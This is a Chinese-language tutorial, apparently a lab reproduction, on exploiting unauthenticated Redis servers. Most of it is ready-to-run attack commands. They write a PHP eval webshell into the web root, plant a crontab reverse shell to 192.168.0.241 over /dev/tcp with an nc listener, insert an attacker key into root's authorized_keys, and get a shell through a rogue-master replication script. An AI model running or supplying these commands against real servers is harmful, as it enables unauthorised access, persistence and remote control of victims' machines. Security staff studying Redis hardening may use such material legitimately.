一、直接写入webshell
前置条件:已经目标网站的服务路径。(通常利用网站根目录,确保shell文件能被解析)。
步骤如下:
php
1.查看 Redis 当前的 dir 配置
CONFIG GET dir
2.修改 dir 为 Nginx 网页根目录
CONFIG SET dir /usr/share/nginx/html
3.修改 RDB 持久化文件名为 PHP 文件
CONFIG SET dbfilename shell.php
4.写入 PHP 一句话木马
SET webshell "<?php @eval($_POST['cmd']);?>"
5.触发 RDB 持久化
SAVE
本地靶场复现截图:


二、定时任务写入反弹Shell
通过写入 Linux 定时任务(crontab)实现反弹 Shell。这种方式无需依赖 Nginx/PHP 等 Web 服务,是 Redis 未授权访问攻击中更隐蔽、更通用的手段(适配无 Web 服务的 Redis 服务器)。
核心原理:Linux 系统中,
crond守护进程会每分钟检查/var/spool/cron/root(root 用户的定时任务文件),执行里面的命令;Redis 利用CONFIG SET修改持久化目录为定时任务目录、文件名改为root,将反弹 Shell 命令写入该文件,系统会自动执行命令,让靶机主动连接攻击机的监听端口,实现控制。
前置条件:能连接上redis数据库。
步骤如下:
php
首先在kali开启监听端口:nc -lvvp 6666
然后写入定时任务:
1. 修改持久化目录为 CentOS 定时任务目录
CONFIG SET dir /var/spool/cron/
2. 修改 RDB 文件名为 root(对应 root 用户的定时任务文件)
CONFIG SET dbfilename root
3. 写入反弹 Shell 定时任务命令
SET cron "\n* * * * * /bin/bash -i >& /dev/tcp/192.168.0.241/6666 0>&1\n"
4. 触发 RDB 持久化(将命令写入 /var/spool/cron/root 文件)
SAVE
截图:

靶机成功上线

三、写SSH公钥登录服务器
原理:Linux SSH 公钥认证的核心是「客户端(Kali)的公钥写入服务端(CentOS)/root/.ssh/authorized_keys 文件」,服务端 SSH 服务会验证该文件中的公钥,匹配成功则免密码登录。Redis 利用 CONFIG SET 修改持久化目录为 /root/.ssh/、文件名改为 authorized_keys,将 Kali 的 SSH 公钥写入该文件,从而实现免密码登录。
前置条件:
1.受害机器SSH 服务正常运行
2.Redis有权限写入/root/.ssh/
步骤:
先在攻击机上生成SSH密钥对
php
1.ssh-keygen -t rsa #生成密钥对
2.cat /root/.ssh/id_rsa.pub #查看
步骤如下:
php
1.修改持久化目录为 root 的 .ssh 目录
CONFIG SET dir /root/.ssh/
2.修改 RDB 文件名为 authorized_keys(SSH 公钥认证的核心文件)
CONFIG SET dbfilename authorized_keys
3.写入 Kali 的 SSH 公钥(替换为你复制的公钥内容,保留双引号)
SET sshkey "\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDQ...省略...w== root@kali\n"
4.触发 RDB 持久化(将公钥写入 /root/.ssh/authorized_keys)
SAVE
注意:
公钥前后加 \n:避免 Redis RDB 二进制头混入公钥文件,确保公钥单独成行(SSH 对 authorized_keys 格式敏感,多余字符会导致认证失败)
截图:

直接ssh连接成功

四:Redis主从复制GetShell
原理:
- Redis 主从复制:Redis 支持「主节点(master)- 从节点(slave)」架构,从节点会主动同步主节点的所有数据、配置,甚至能向主节点请求「加载自定义模块」;
- Redis 模块机制 :Redis 4.0+ 新增
MODULE命令,允许加载.so格式的共享库文件(模块),扩展 Redis 原生命令(比如新增system.exec命令来执行系统指令)。
核心优势:相比前三种方式,无需依赖 Web/SSH/crond 服务,无需写入文件,仅利用 Redis 自身机制即可 Getshell,隐蔽性拉满。
版本要求:
- 适用:Redis 4.0.x/ 5.0.x
- 不适用:Redis 6.0+(新增模块加载权限校验)、7.0+(防护更严格)
这里我看网上有很多教程,有的比较复杂,这里使用一种最简单的,用一位师傅写的脚本来实现一getshell:
php
1.克隆到本地
git clone https://github.com/Dliv3/redis-rogue-server.git
2.切换目录
cd redis-rogue-server
3.一键运行脚本
python3 redis-rogue-server.py --rhost <target address> --rport <target port> --lhost <vps address> --lport <vps port>
--passwd 如果目标Redis服务开启了认证功能,可以通过该选项指定密码
截图:
